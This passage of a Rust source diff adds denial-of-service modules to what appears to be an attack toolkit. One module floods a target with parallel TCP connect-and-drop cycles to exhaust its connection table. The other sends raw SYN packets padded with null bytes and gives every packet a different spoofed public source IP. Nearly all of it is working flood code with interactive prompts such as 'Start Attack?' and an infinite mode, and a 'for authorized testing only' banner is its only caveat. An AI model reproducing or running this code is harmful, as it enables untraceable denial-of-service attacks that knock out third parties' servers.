"{}",
|
||||
r#"
|
||||
╔══════════════════════════════════════════════════════════════╗
|
||||
║ Connection Exhaustion Flood ║
|
||||
║ Ultra-Fast Parallel TCP Connect & Drop ║
|
||||
║ Server-Side Resource Exhaustion ║
|
||||
╠══════════════════════════════════════════════════════════════╣
|
||||
║ This module BOUNDS local FD usage via semaphore. ║
|
||||
║ Your system will NOT run out of file descriptors. ║
|
||||
╚══════════════════════════════════════════════════════════════╝
|
||||
"#
|
||||
.red()
|
||||
.bold()
|
||||
);
|
||||
}
|
||||
|
||||
async fn setup_wizard(initial_target: &str) -> Result<FloodConfig> {
|
||||
println!("{}", "=== Configuration ===".blue().bold());
|
||||
|
||||
// Target
|
||||
let target_input = if initial_target.trim().is_empty() {
|
||||
prompt_required("Target Host/IP")?
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[*] Using target: {}", initial_target).cyan()
|
||||
);
|
||||
initial_target.to_string()
|
||||
};
|
||||
|
||||
let normalized = normalize_target(&target_input)?;
|
||||
|
||||
// Extract host and port
|
||||
let (host, port) = if let Some((h, p)) = normalized.split_once(':') {
|
||||
let parsed_port = p.parse::<u16>()
|
||||
.map_err(|_| anyhow!("Invalid port '{}' in target", p))?;
|
||||
(h.to_string(), parsed_port)
|
||||
} else {
|
||||
let p = prompt_port("Target Port", 80)?;
|
||||
(normalized, p)
|
||||
};
|
||||
|
||||
let target_display = format!("{}:{}", host, port);
|
||||
|
||||
// Pre-resolve DNS
|
||||
println!(
|
||||
"{}",
|
||||
format!("[*] Resolving {}...", target_display).yellow()
|
||||
);
|
||||
let resolved_addrs: Vec<SocketAddr> = tokio::net::lookup_host(&target_display)
|
||||
.await
|
||||
.context("Failed to resolve target hostname")?
|
||||
.collect();
|
||||
|
||||
if resolved_addrs.is_empty() {
|
||||
return Err(anyhow!("Could not resolve target address"));
|
||||
}
|
||||
|
||||
println!(
|
||||
"{}",
|
||||
format!("[+] Resolved to: {:?}", resolved_addrs).green()
|
||||
);
|
||||
|
||||
// Max concurrent FDs (local protection)
|
||||
let max_fds_input = prompt_default(
|
||||
"Max Concurrent FDs (local limit)",
|
||||
&DEFAULT_MAX_FDS.to_string(),
|
||||
)?;
|
||||
let max_concurrent_fds: usize = max_fds_input
|
||||
.parse()
|
||||
.map_err(|_| anyhow!("Invalid number for max FDs"))?;
|
||||
|
||||
if max_concurrent_fds == 0 {
|
||||
return Err(anyhow!("Max FDs must be > 0"));
|
||||
}
|
||||
|
||||
// Worker count (async tasks spawning connections)
|
||||
let workers_input = prompt_default("Worker Tasks (parallel spawners)", "2000")?;
|
||||
let worker_count: usize = workers_input
|
||||
.parse()
|
||||
.map_err(|_| anyhow!("Invalid number for workers"))?;
|
||||
|
||||
if worker_count == 0 {
|
||||
return Err(anyhow!("Worker count must be > 0"));
|
||||
}
|
||||
|
||||
// Duration
|
||||
let duration_input = prompt_default("Duration (seconds, 0 = infinite)", "60")?;
|
||||
let duration_secs: u64 = duration_input
|
||||
.parse()
|
||||
.map_err(|_| anyhow!("Invalid duration"))?;
|
||||
|
||||
// Connection timeout
|
||||
let timeout_input = prompt_default("Connection Timeout (ms)", "2000")?;
|
||||
let connect_timeout_ms: u64 = timeout_input
|
||||
.parse()
|
||||
.map_err(|_| anyhow!("Invalid timeout"))?;
|
||||
|
||||
let verbose = prompt_yes_no("Verbose Output (show sample errors)?", false)?;
|
||||
|
||||
println!("\n{}", "=== Attack Summary ===".bold());
|
||||
println!(" Target: {}", target_display.cyan());
|
||||
println!(" Resolved IPs: {:?}", resolved_addrs);
|
||||
println!(" Max Concurrent FDs: {} (LOCAL PROTECTION)", max_concurrent_fds);
|
||||
println!(" Worker Tasks: {}", worker_count);
|
||||
println!(
|
||||
" Duration: {}",
|
||||
if duration_secs == 0 {
|
||||
"INFINITE (Ctrl+C to stop)".to_string()
|
||||
} else {
|
||||
format!("{}s", duration_secs)
|
||||
}
|
||||
);
|
||||
println!(" Mode: Connect & Immediate Drop (FD-Bounded)");
|
||||
println!();
|
||||
println!(
|
||||
"{}",
|
||||
"[!] Your local FD usage is capped. Target's connection"
|
||||
.yellow()
|
||||
);
|
||||
println!(
|
||||
"{}",
|
||||
" table will be exhausted, not yours.".yellow()
|
||||
);
|
||||
|
||||
if !prompt_yes_no("Start Attack?", true)? {
|
||||
return Err(anyhow!("Attack cancelled by user"));
|
||||
}
|
||||
|
||||
Ok(FloodConfig {
|
||||
target_display,
|
||||
resolved_addrs,
|
||||
max_concurrent_fds,
|
||||
worker_count,
|
||||
duration_secs,
|
||||
connect_timeout_ms,
|
||||
verbose,
|
||||
})
|
||||
}
|
||||
|
||||
async fn execute_flood(config: &FloodConfig) -> Result<()> {
|
||||
println!(
|
||||
"\n{}",
|
||||
"[*] Starting Connection Exhaustion Flood..."
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
println!(
|
||||
"{}",
|
||||
format!("[*] FD Semaphore limit: {}", config.max_concurrent_fds)
|
||||
.dimmed()
|
||||
);
|
||||
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let stats_connected = Arc::new(AtomicU64::new(0));
|
||||
let stats_failed = Arc::new(AtomicU64::new(0));
|
||||
|
||||
// Semaphore bounds the number of OPEN file descriptors at any time
|
||||
let fd_semaphore = Arc::new(Semaphore::new(config.max_concurrent_fds));
|
||||
|
||||
let start_time = Instant::now();
|
||||
let connect_timeout = Duration::from_millis(config.connect_timeout_ms);
|
||||
|
||||
// Use first resolved address for raw speed
|
||||
let target_addr = config.resolved_addrs[0];
|
||||
|
||||
// Stats printer task
|
||||
let s_stop = stop_flag.clone();
|
||||
let s_conn = stats_connected.clone();
|
||||
let s_fail = stats_failed.clone();
|
||||
let s_start = start_time;
|
||||
|
||||
let stats_handle = tokio::spawn(async move {
|
||||
let mut last_conn = 0u64;
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(1)).await;
|
||||
if s_stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
let conn = s_conn.load(Ordering::Relaxed);
|
||||
let fail = s_fail.load(Ordering::Relaxed);
|
||||
let elapsed = s_start.elapsed().as_secs_f64();
|
||||
let rate = conn as f64 / elapsed.max(0.001);
|
||||
let delta = conn.saturating_sub(last_conn);
|
||||
last_conn = conn;
|
||||
|
||||
print!(
|
||||
"\r{} {}",
|
||||
"[*]".dimmed(),
|
||||
format!(
|
||||
"Connected: {} | Failed: {} | Rate: {:.0}/s | Last sec: {} conns ",
|
||||
conn, fail, rate, delta
|
||||
)
|
||||
.dimmed()
|
||||
);
|
||||
use std::io::Write;
|
||||
let _ = std::io::stdout().flush();
|
||||
}
|
||||
});
|
||||
|
||||
// Spawn worker tasks
|
||||
// Each worker continuously: acquire semaphore -> connect -> close -> release semaphore
|
||||
let mut handles = Vec::with_capacity(config.worker_count);
|
||||
|
||||
for _ in 0..config.worker_count {
|
||||
let stop = stop_flag.clone();
|
||||
let sem = fd_semaphore.clone();
|
||||
let conn_stat = stats_connected.clone();
|
||||
let fail_stat = stats_failed.clone();
|
||||
let timeout = connect_timeout;
|
||||
let verbose = config.verbose;
|
||||
let target = target_addr;
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
let mut rng_counter = 0u64;
|
||||
|
||||
while !stop.load(Ordering::Relaxed) {
|
||||
// Acquire semaphore permit BEFORE opening a connection
|
||||
// This ensures we never exceed max_concurrent_fds open sockets
|
||||
let permit = match sem.acquire().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => break, // Semaphore closed
|
||||
};
|
||||
|
||||
// Attempt connection
|
||||
match tokio::time::timeout(timeout, TcpStream::connect(target)).await {
|
||||
Ok(Ok(stream)) => {
|
||||
// Successfully connected
|
||||
conn_stat.fetch_add(1, Ordering::Relaxed);
|
||||
// Immediately drop the stream to close the connection
|
||||
// This sends FIN, server still has to handle TIME_WAIT
|
||||
drop(stream);
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
// Connection error (refused, unreachable, etc.)
|
||||
fail_stat.fetch_add(1, Ordering::Relaxed);
|
||||
if verbose {
|
||||
rng_counter = rng_counter.wrapping_add(1);
|
||||
// Log ~0.1% of errors
|
||||
if rng_counter % 1000 == 0 {
|
||||
eprintln!("\n[!] Connect error: {}", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(_) => {
|
||||
// Timeout
|
||||
fail_stat.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
// Drop permit to release the semaphore slot
|
||||
// (This happens automatically but being explicit is clearer)
|
||||
drop(permit);
|
||||
}
|
||||
});
|
||||
|
||||
handles.push(handle);
|
||||
}
|
||||
|
||||
// Run for duration (or forever if 0)
|
||||
if config.duration_secs > 0 {
|
||||
tokio::time::sleep(Duration::from_secs(config.duration_secs)).await;
|
||||
} else {
|
||||
// Infinite mode - wait for Ctrl+C signal for graceful shutdown
|
||||
println!(
|
||||
"\n{}",
|
||||
"[*] Running indefinitely. Press Ctrl+C to stop.".yellow()
|
||||
);
|
||||
let _ = tokio::signal::ctrl_c().await;
|
||||
}
|
||||
|
||||
// Signal stop
|
||||
stop_flag.store(true, Ordering::Relaxed);
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Stopping workers...".yellow());
|
||||
|
||||
// Wait for workers to finish their current iteration
|
||||
for h in handles {
|
||||
let _ = tokio::time::timeout(Duration::from_secs(5), h).await;
|
||||
}
|
||||
|
||||
// Stop stats printer
|
||||
let _ = stats_handle.await;
|
||||
|
||||
// Final report
|
||||
let total_conn = stats_connected.load(Ordering::Relaxed);
|
||||
let total_fail = stats_failed.load(Ordering::Relaxed);
|
||||
let elapsed = start_time.elapsed().as_secs_f64();
|
||||
|
||||
println!("\n{}", "=== Attack Complete ===".green().bold());
|
||||
println!("Target: {}", config.target_display);
|
||||
println!("Duration: {:.2}s", elapsed);
|
||||
println!("Total Connections: {}", total_conn);
|
||||
println!("Failed Attempts: {}", total_fail);
|
||||
|
||||
if elapsed > 0.0 {
|
||||
println!("Average Rate: {:.0} conn/s", total_conn as f64 / elapsed);
|
||||
}
|
||||
|
||||
println!();
|
||||
println!(
|
||||
"{}",
|
||||
format!("[+] Local FD usage was bounded to {} concurrent.", config.max_concurrent_fds)
|
||||
.green()
|
||||
);
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
" Target received {} handshake attempts (server-side exhaustion).",
|
||||
total_conn
|
||||
)
|
||||
.green()
|
||||
);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,3 @@
|
||||
pub mod connection_exhaustion_flood;
|
||||
pub mod null_syn_exhaustion;
|
||||
pub mod tcp_connection_flood;
|
||||
@@ -0,0 +1,636 @@
|
||||
//! Null SYN Exhaustion Testing Module
|
||||
//!
|
||||
//! High-performance SYN flood with null-byte payloads for resource exhaustion testing.
|
||||
//! Uses native OS threads for CPU-bound packet generation with minimal overhead.
|
||||
//! FOR AUTHORIZED TESTING ONLY.
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use pnet_packet::ip::IpNextHeaderProtocols;
|
||||
use pnet_packet::ipv4::{self, MutableIpv4Packet};
|
||||
use pnet_packet::tcp::{MutableTcpPacket, TcpFlags};
|
||||
use socket2::{Domain, Protocol, Socket, Type};
|
||||
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
|
||||
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
||||
use std::sync::Arc;
|
||||
use std::thread;
|
||||
use std::time::{Duration, Instant, SystemTime};
|
||||
use crate::utils::{
|
||||
normalize_target, prompt_default, prompt_port, prompt_required, prompt_yes_no,
|
||||
};
|
||||
|
||||
// ============================================================================
|
||||
// CONSTANTS
|
||||
// ============================================================================
|
||||
|
||||
const IPV4_HEADER_LEN: usize = 20;
|
||||
const TCP_HEADER_LEN: usize = 20;
|
||||
const STATS_BATCH_SIZE: u64 = 500; // Flush stats every N packets
|
||||
const DEFAULT_TTL: u8 = 64;
|
||||
const DEFAULT_WINDOW: u16 = 64240;
|
||||
|
||||
// ============================================================================
|
||||
// CONFIGURATION
|
||||
// ============================================================================
|
||||
|
||||
/// Configuration for the exhaustion test
|
||||
#[derive(Clone, Debug)]
|
||||
pub struct ExhaustionConfig {
|
||||
target_ip: Ipv4Addr,
|
||||
target_port: u16,
|
||||
source_port: Option<u16>,
|
||||
use_random_source_ip: bool,
|
||||
worker_count: usize,
|
||||
duration_secs: u64,
|
||||
interval_mode: IntervalMode,
|
||||
payload_size: usize,
|
||||
verbose: bool,
|
||||
}
|
||||
|
||||
#[derive(Clone, Copy, Debug)]
|
||||
pub enum IntervalMode {
|
||||
/// Maximum speed - no artificial delay
|
||||
Zero,
|
||||
/// Fixed delay between packets in microseconds
|
||||
DelayMicros(u64),
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// FAST RNG (Thread-Safe Seeding)
|
||||
// ============================================================================
|
||||
|
||||
/// XorShift128+ PRNG - high performance, non-cryptographic
|
||||
/// Each instance is uniquely seeded using thread ID + time for isolation
|
||||
struct FastRng {
|
||||
s0: u64,
|
||||
s1: u64,
|
||||
}
|
||||
|
||||
impl FastRng {
|
||||
/// Create a new RNG with unique seed per caller
|
||||
fn with_thread_seed(thread_id: usize) -> Self {
|
||||
let time_seed = match SystemTime::now().duration_since(SystemTime::UNIX_EPOCH) {
|
||||
Ok(d) => d.as_nanos() as u64,
|
||||
Err(_) => 0,
|
||||
};
|
||||
|
||||
// Mix thread ID with time to ensure unique seeds across threads
|
||||
let s0 = time_seed ^ (thread_id as u64).wrapping_mul(0x9E3779B97F4A7C15);
|
||||
let s1 = (time_seed.rotate_left(17)) ^ (thread_id as u64).wrapping_mul(0xBF58476D1CE4E5B9);
|
||||
|
||||
let mut rng = Self { s0, s1 };
|
||||
// Warm up the RNG state
|
||||
for _ in 0..16 {
|
||||
rng.next_u64();
|
||||
}
|
||||
rng
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn next_u64(&mut self) -> u64 {
|
||||
let mut x = self.s0;
|
||||
let y = self.s1;
|
||||
self.s0 = y;
|
||||
x ^= x << 23;
|
||||
self.s1 = x ^ y ^ (x >> 17) ^ (y >> 26);
|
||||
self.s1.wrapping_add(y)
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn next_u32(&mut self) -> u32 {
|
||||
self.next_u64() as u32
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn next_u16(&mut self) -> u16 {
|
||||
self.next_u64() as u16
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn gen_ipv4_public(&mut self) -> Ipv4Addr {
|
||||
loop {
|
||||
let octets = self.next_u32().to_be_bytes();
|
||||
// Exclude: loopback, any, multicast, reserved, private ranges
|
||||
match octets[0] {
|
||||
0 | 10 | 127 => continue, // 0.x, 10.x, 127.x
|
||||
224..=255 => continue, // Multicast / Reserved
|
||||
172 if (16..=31).contains(&octets[1]) => continue, // 172.16-31.x
|
||||
192 if octets[1] == 168 => continue, // 192.168.x
|
||||
169 if octets[1] == 254 => continue, // 169.254.x (link-local)
|
||||
100 if (64..=127).contains(&octets[1]) => continue, // 100.64-127.x (CGNAT)
|
||||
_ => return Ipv4Addr::new(octets[0], octets[1], octets[2], octets[3]),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn gen_ephemeral_port(&mut self) -> u16 {
|
||||
// Range: 49152-65535 (IANA ephemeral)
|
||||
(self.next_u16() % 16384) + 49152
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// PACKET BUILDER
|
||||
// ============================================================================
|
||||
|
||||
/// Pre-allocated packet buffer with efficient field updates
|
||||
struct PacketBuilder {
|
||||
buffer: Vec<u8>,
|
||||
use_random_src_ip: bool,
|
||||
fixed_src_ip: Ipv4Addr,
|
||||
fixed_src_port: Option<u16>,
|
||||
target_ip: Ipv4Addr,
|
||||
target_port: u16,
|
||||
}
|
||||
|
||||
impl PacketBuilder {
|
||||
fn new(config: &ExhaustionConfig, local_ip: Ipv4Addr) -> Result<Self> {
|
||||
let total_len = IPV4_HEADER_LEN + TCP_HEADER_LEN + config.payload_size;
|
||||
debug_assert!(total_len <= u16::MAX as usize, "Packet size exceeds IPv4 maximum");
|
||||
let buffer = vec![0u8; total_len];
|
||||
|
||||
Ok(Self {
|
||||
buffer,
|
||||
use_random_src_ip: config.use_random_source_ip,
|
||||
fixed_src_ip: local_ip,
|
||||
fixed_src_port: config.source_port,
|
||||
target_ip: config.target_ip,
|
||||
target_port: config.target_port,
|
||||
})
|
||||
}
|
||||
|
||||
/// Update dynamic fields and compute checksums
|
||||
/// Returns a reference to the ready-to-send buffer
|
||||
#[inline]
|
||||
fn build_packet(&mut self, rng: &mut FastRng) -> &[u8] {
|
||||
// CRITICAL: Generate random source IP for each packet when spoofing is enabled
|
||||
let src_ip = if self.use_random_src_ip {
|
||||
rng.gen_ipv4_public() // Generate a NEW random IP for EVERY packet
|
||||
} else {
|
||||
self.fixed_src_ip
|
||||
};
|
||||
|
||||
let src_port = self.fixed_src_port.unwrap_or_else(|| rng.gen_ephemeral_port());
|
||||
let ip_id = rng.next_u16();
|
||||
let seq_num = rng.next_u32();
|
||||
|
||||
let total_len = self.buffer.len() as u16;
|
||||
|
||||
// Build IP header from scratch each time to ensure source IP is set correctly
|
||||
if let Some(mut ip) = MutableIpv4Packet::new(&mut self.buffer) {
|
||||
ip.set_version(4);
|
||||
ip.set_header_length(5);
|
||||
ip.set_dscp(0);
|
||||
ip.set_ecn(0);
|
||||
ip.set_total_length(total_len);
|
||||
ip.set_identification(ip_id);
|
||||
ip.set_flags(0);
|
||||
ip.set_fragment_offset(0);
|
||||
ip.set_ttl(DEFAULT_TTL);
|
||||
ip.set_next_level_protocol(IpNextHeaderProtocols::Tcp);
|
||||
ip.set_source(src_ip); // CRITICAL: Set the random source IP here
|
||||
ip.set_destination(self.target_ip);
|
||||
|
||||
// Calculate IP checksum
|
||||
ip.set_checksum(0);
|
||||
let checksum = ipv4::checksum(&ip.to_immutable());
|
||||
ip.set_checksum(checksum);
|
||||
}
|
||||
|
||||
// Build TCP header
|
||||
if let Some(mut tcp) = MutableTcpPacket::new(&mut self.buffer[IPV4_HEADER_LEN..]) {
|
||||
tcp.set_source(src_port);
|
||||
tcp.set_destination(self.target_port);
|
||||
tcp.set_sequence(seq_num);
|
||||
tcp.set_acknowledgement(0);
|
||||
tcp.set_data_offset(5);
|
||||
tcp.set_reserved(0);
|
||||
tcp.set_flags(TcpFlags::SYN);
|
||||
tcp.set_window(DEFAULT_WINDOW);
|
||||
tcp.set_urgent_ptr(0);
|
||||
tcp.set_checksum(0);
|
||||
}
|
||||
|
||||
// Calculate TCP checksum with pseudo-header
|
||||
let tcp_checksum = self.calculate_tcp_checksum(src_ip);
|
||||
|
||||
if let Some(mut tcp) = MutableTcpPacket::new(&mut self.buffer[IPV4_HEADER_LEN..]) {
|
||||
tcp.set_checksum(tcp_checksum);
|
||||
}
|
||||
|
||||
&self.buffer
|
||||
}
|
||||
|
||||
#[inline]
|
||||
fn calculate_tcp_checksum(&self, src_ip: Ipv4Addr) -> u16 {
|
||||
let mut sum: u32 = 0;
|
||||
|
||||
// 1. Pseudo-Header Sum
|
||||
// Source IP
|
||||
let src_octets = src_ip.octets();
|
||||
sum += u16::from_be_bytes([src_octets[0], src_octets[1]]) as u32;
|
||||
sum += u16::from_be_bytes([src_octets[2], src_octets[3]]) as u32;
|
||||
|
||||
// Dest IP
|
||||
let dst_octets = self.target_ip.octets();
|
||||
sum += u16::from_be_bytes([dst_octets[0], dst_octets[1]]) as u32;
|
||||
sum += u16::from_be_bytes([dst_octets[2], dst_octets[3]]) as u32;
|
||||
|
||||
// Reserved (0) + Protocol (6 for TCP)
|
||||
sum += IpNextHeaderProtocols::Tcp.0 as u32;
|
||||
|
||||
// TCP Length (Header + Payload)
|
||||
let tcp_len = (self.buffer.len() - IPV4_HEADER_LEN) as u32;
|
||||
sum += tcp_len;
|
||||
|
||||
// 2. TCP Header + Payload Sum
|
||||
let tcp_data = &self.buffer[IPV4_HEADER_LEN..];
|
||||
for chunk in tcp_data.chunks(2) {
|
||||
if chunk.len() == 2 {
|
||||
sum += u16::from_be_bytes([chunk[0], chunk[1]]) as u32;
|
||||
} else if chunk.len() == 1 {
|
||||
// Pad last odd byte with zero
|
||||
sum += u16::from_be_bytes([chunk[0], 0]) as u32;
|
||||
}
|
||||
}
|
||||
|
||||
// Fold 32-bit sum to 16-bit
|
||||
while (sum >> 16) != 0 {
|
||||
sum = (sum & 0xFFFF) + (sum >> 16);
|
||||
}
|
||||
|
||||
!(sum as u16)
|
||||
}
|
||||
|
||||
#[inline]
|
||||
fn packet_size(&self) -> usize {
|
||||
self.buffer.len()
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// WORKER THREAD
|
||||
// ============================================================================
|
||||
|
||||
/// Statistics for a single worker
|
||||
struct WorkerStats {
|
||||
packets: u64,
|
||||
bytes: u64,
|
||||
}
|
||||
|
||||
/// Run the packet sending loop for a single worker thread
|
||||
fn worker_thread(
|
||||
worker_id: usize,
|
||||
config: ExhaustionConfig,
|
||||
local_ip: Ipv4Addr,
|
||||
stop_flag: Arc<AtomicBool>,
|
||||
global_packets: Arc<AtomicU64>,
|
||||
global_bytes: Arc<AtomicU64>,
|
||||
start_time: Instant,
|
||||
) {
|
||||
// Create dedicated socket for this worker (no contention)
|
||||
let socket = match create_raw_socket() {
|
||||
Ok(s) => s,
|
||||
Err(e) => {
|
||||
if worker_id == 0 {
|
||||
eprintln!("\n{}", format!("[!] Worker 0 socket error: {}", e).red().bold());
|
||||
}
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
// Pre-allocate packet builder
|
||||
let mut builder = match PacketBuilder::new(&config, local_ip) {
|
||||
Ok(b) => b,
|
||||
Err(e) => {
|
||||
if worker_id == 0 {
|
||||
eprintln!("\n{}", format!("[!] Packet builder error: {}", e).red());
|
||||
}
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
// Thread-local RNG with unique seed
|
||||
let mut rng = FastRng::with_thread_seed(worker_id);
|
||||
|
||||
// Destination socket address (constant)
|
||||
let dst_addr: socket2::SockAddr = SocketAddr::new(IpAddr::V4(config.target_ip), 0).into();
|
||||
|
||||
let duration = Duration::from_secs(config.duration_secs);
|
||||
let delay = match config.interval_mode {
|
||||
IntervalMode::Zero => None,
|
||||
IntervalMode::DelayMicros(us) => Some(Duration::from_micros(us)),
|
||||
};
|
||||
|
||||
let packet_size = builder.packet_size() as u64;
|
||||
let mut stats = WorkerStats { packets: 0, bytes: 0 };
|
||||
|
||||
// Main send loop
|
||||
loop {
|
||||
// Check termination conditions
|
||||
if stop_flag.load(Ordering::Relaxed) || start_time.elapsed() >= duration {
|
||||
break;
|
||||
}
|
||||
|
||||
// Build packet with NEW random source IP each time if spoofing enabled
|
||||
let packet = builder.build_packet(&mut rng);
|
||||
|
||||
match socket.send_to(packet, &dst_addr) {
|
||||
Ok(_) => {
|
||||
stats.packets += 1;
|
||||
stats.bytes += packet_size;
|
||||
}
|
||||
Err(e) => {
|
||||
// Log permission errors only once
|
||||
if config.verbose && worker_id == 0 {
|
||||
let err_str = e.to_string();
|
||||
if err_str.contains("ermission") || err_str.contains("EPERM") {
|
||||
eprintln!("\n{}", "[!] Root privileges required for raw sockets.".red().bold());
|
||||
stop_flag.store(true, Ordering::Relaxed);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Batch update global stats to reduce atomic contention
|
||||
if stats.packets >= STATS_BATCH_SIZE {
|
||||
global_packets.fetch_add(stats.packets, Ordering::Relaxed);
|
||||
global_bytes.fetch_add(stats.bytes, Ordering::Relaxed);
|
||||
stats.packets = 0;
|
||||
stats.bytes = 0;
|
||||
}
|
||||
|
||||
// Apply delay if configured
|
||||
if let Some(d) = delay {
|
||||
thread::sleep(d);
|
||||
}
|
||||
}
|
||||
|
||||
// Flush remaining stats
|
||||
if stats.packets > 0 {
|
||||
global_packets.fetch_add(stats.packets, Ordering::Relaxed);
|
||||
global_bytes.fetch_add(stats.bytes, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
/// Create an optimized raw socket for IP spoofing
|
||||
fn create_raw_socket() -> Result<Socket> {
|
||||
let socket = Socket::new(
|
||||
Domain::IPV4,
|
||||
Type::RAW,
|
||||
Some(Protocol::from(libc::IPPROTO_RAW)),
|
||||
).context("Failed to create raw socket (requires root)")?;
|
||||
|
||||
// CRITICAL: Enable IP_HDRINCL to allow custom IP headers (required for spoofing)
|
||||
socket.set_header_included_v4(true)
|
||||
.context("Failed to set IP_HDRINCL")?;
|
||||
|
||||
// Increase send buffer for burst capacity
|
||||
let _ = socket.set_send_buffer_size(256 * 1024);
|
||||
|
||||
Ok(socket)
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// MAIN EXECUTION
|
||||
// ============================================================================
|
||||
|
||||
/// Entry point for the module
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
let config = gather_config(initial_target)?;
|
||||
execute_attack(config).await
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", r#"
|
||||
╔══════════════════════════════════════════════════════════════╗
|
||||
║ Null SYN Exhaustion Testing Module v2.1 ║
|
||||
║ High-Performance Multi-Threaded Engine ║
|
||||
║ With True IP Spoofing Support ║
|
||||
║ FOR AUTHORIZED TESTING ONLY ║
|
||||
╚══════════════════════════════════════════════════════════════╝
|
||||
"#.red().bold());
|
||||
}
|
||||
|
||||
fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
|
||||
println!("{}", "=== Configuration ===".bold());
|
||||
|
||||
// Target IP
|
||||
let target_input = if initial_target.trim().is_empty() {
|
||||
prompt_required("Target IP")?
|
||||
} else {
|
||||
println!("{}", format!("[*] Using target: {}", initial_target).cyan());
|
||||
initial_target.to_string()
|
||||
};
|
||||
|
||||
let normalized = normalize_target(&target_input)?;
|
||||
let target_ip: Ipv4Addr = normalized.parse()
|
||||
.map_err(|_| anyhow!("Target must be a valid IPv4 address"))?;
|
||||
|
||||
// Target Port
|
||||
let target_port = prompt_port("Target port", 80)?;
|
||||
|
||||
// Source Port
|
||||
let src_port_input = prompt_default("Source port (blank for random)", "")?;
|
||||
let source_port = if src_port_input.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(src_port_input.parse::<u16>().map_err(|_| anyhow!("Invalid port"))?)
|
||||
};
|
||||
|
||||
// Random Source IP
|
||||
let use_random_source_ip = prompt_yes_no(
|
||||
"Use random (spoofed) source IPs? (requires root)",
|
||||
false
|
||||
)?;
|
||||
|
||||
// Worker count - default to CPU cores for optimal performance
|
||||
let cpu_count = num_cpus::get();
|
||||
let workers_input = prompt_default(
|
||||
&format!("Worker threads (recommended: {})", cpu_count),
|
||||
&cpu_count.to_string()
|
||||
)?;
|
||||
let worker_count: usize = workers_input.parse().map_err(|_| anyhow!("Invalid number"))?;
|
||||
|
||||
if worker_count == 0 {
|
||||
return Err(anyhow!("Worker count must be > 0"));
|
||||
}
|
||||
|
||||
// Duration
|
||||
let duration_input = prompt_required("Test duration (seconds)")?;
|
||||
let duration_secs: u64 = duration_input.parse().map_err(|_| anyhow!("Invalid duration"))?;
|
||||
|
||||
if duration_secs == 0 {
|
||||
return Err(anyhow!("Duration must be > 0"));
|
||||
}
|
||||
|
||||
// Interval Mode
|
||||
let zero_interval = prompt_yes_no("Use zero interval (max speed)?", true)?;
|
||||
let interval_mode = if zero_interval {
|
||||
IntervalMode::Zero
|
||||
} else {
|
||||
let delay_input = prompt_default("Delay between packets (microseconds)", "1000")?;
|
||||
let delay: u64 = delay_input.parse().map_err(|_| anyhow!("Invalid delay"))?;
|
||||
IntervalMode::DelayMicros(delay)
|
||||
};
|
||||
|
||||
// Payload Size
|
||||
let payload_input = prompt_default("Null-byte payload size", "1024")?;
|
||||
let mut payload_size: usize = payload_input.parse().map_err(|_| anyhow!("Invalid size"))?;
|
||||
|
||||
// Cap to IPv4 maximum
|
||||
const MAX_PAYLOAD: usize = 65535 - IPV4_HEADER_LEN - TCP_HEADER_LEN;
|
||||
if payload_size > MAX_PAYLOAD {
|
||||
println!("{}", format!("[!] Payload capped at {} bytes", MAX_PAYLOAD).yellow());
|
||||
payload_size = MAX_PAYLOAD;
|
||||
}
|
||||
|
||||
let verbose = prompt_yes_no("Verbose output?", false)?;
|
||||
|
||||
// Summary
|
||||
println!("\n{}", "=== Test Configuration ===".bold());
|
||||
println!(" Target: {}:{}", target_ip, target_port);
|
||||
println!(" Source Port: {}", source_port.map(|p| p.to_string()).unwrap_or_else(|| "random".into()));
|
||||
println!(" Random IP: {}", if use_random_source_ip { "yes (spoofed - NEW IP per packet)" } else { "no" });
|
||||
println!(" Workers: {} threads", worker_count);
|
||||
println!(" Duration: {}s", duration_secs);
|
||||
println!(" Interval: {:?}", interval_mode);
|
||||
println!(" Payload: {} bytes", payload_size);
|
||||
println!(" Packet Size: {} bytes", IPV4_HEADER_LEN + TCP_HEADER_LEN + payload_size);
|
||||
|
||||
if use_random_source_ip {
|
||||
println!("\n{}", "[!] IP spoofing enabled: Each packet will have a different random source IP".yellow().bold());
|
||||
}
|
||||
|
||||
if !prompt_yes_no("\nProceed with test?", true)? {
|
||||
return Err(anyhow!("Test cancelled by user"));
|
||||
}
|
||||
|
||||
Ok(ExhaustionConfig {
|
||||
target_ip,
|
||||
target_port,
|
||||
source_port,
|
||||
use_random_source_ip,
|
||||
worker_count,
|
||||
duration_secs,
|
||||
interval_mode,
|
||||
payload_size,
|
||||
verbose,
|
||||
})
|
||||
}
|
||||
